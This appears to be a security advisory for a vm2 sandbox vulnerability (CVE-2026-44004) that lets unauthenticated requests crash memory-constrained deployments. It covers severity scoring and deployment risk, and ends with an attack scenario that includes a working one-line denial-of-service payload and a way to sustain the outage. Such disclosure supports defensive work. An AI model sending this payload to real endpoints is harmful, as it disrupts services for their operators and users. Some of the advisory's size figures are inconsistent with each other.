vm2 CVE-2026-44004

No special conditions-remote unauthenticated exploitation against default configurations of vm2 versions 3.10.5 and earlier. The vulnerability is exploitable in any deployment where untrusted code is passed to vm2's run() or runFile() methods, which is the library's primary use case. No specific vm2 configuration enables the flaw; the default behavior of exposing Buffer without size validation is sufficient. Attack success depends only on network reachability to the vm2-powered application endpoint and the target environment's memory constraints. The POC demonstrates exploitation requires no authentication (PR:N), no user interaction (UI:N), and low attack complexity (AC:L)-a single HTTP POST with a short JSON payload triggers immediate impact. Exploitation is NOT limited by the timeout configuration value (tested with timeout: 5000, attack succeeds identically). The severity multiplier is deployment environment: memory-constrained containers/Lambda functions experience process termination (HIGH impact), while traditional servers with elastic memory experience temporary performance degradation (MEDIUM impact). The attack does not require privileged access to the host system, non-default vm2 configuration options, or chaining with other vulnerabilities.

CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) accurately reflects the attack surface-network-reachable, low-complexity, no authentication required-but real-world risk is deployment-context dependent. In memory-constrained environments (Docker containers with --memory limits, Kubernetes pods with resource quotas, AWS Lambda with fixed memory allocations), this is a critical availability threat: a single 100-byte HTTP request can trigger immediate OOM process termination with FATAL ERROR: Reached heap limit, confirmed by vendor testing. Attack complexity is genuinely low-the POC requires no special conditions beyond vm2 being deployed with default configuration. However, in unconstrained server environments with elastic memory, impact downgrades to temporary performance degradation as V8 garbage collection reclaims memory post-request. EPSS score unavailable and no CISA KEV listing suggest no widespread exploitation campaigns detected, consistent with the targeted nature of vm2 deployments (sandboxed code execution platforms, serverless function runners, educational coding environments). The vendor coordinated disclosure across 13 simultaneous advisories in v3.11.0, indicating systematic security audit rather than active exploitation discovery. Priority assessment: HIGH for containerized/serverless deployments of vm2, MEDIUM for traditional server deployments with ample memory. The 1,000,000:1 amplification factor (100 bytes request → 100MB allocation) makes this attractive for resource-constrained attacker scenarios.

An attacker identifies a web application using vm2 to provide serverless code execution (common in online coding platforms, webhook processors, or automated testing services). They craft a minimal HTTP POST request containing the payload {"code":"Buffer.alloc(1024*1024*500).length"} targeting the execution endpoint. The application passes this 58-byte string to vm2's run() method with a configured 5-second timeout intended to prevent abuse. Because Buffer.alloc() is a synchronous C++ call, the timeout mechanism never activates-the Node.js process immediately attempts to allocate 500MB on the heap. In a Kubernetes pod with a 512MB memory limit, the allocation exceeds available memory, triggering the Linux OOM killer to terminate the pod with exit code 137. The application becomes unavailable until the orchestrator restarts the pod (typically 10-30 seconds), during which all concurrent user requests fail. The attacker can repeat this with minimal resources-a single t2.micro EC2 instance can send requests faster than most container orchestrators can restart pods, sustaining indefinite service disruption.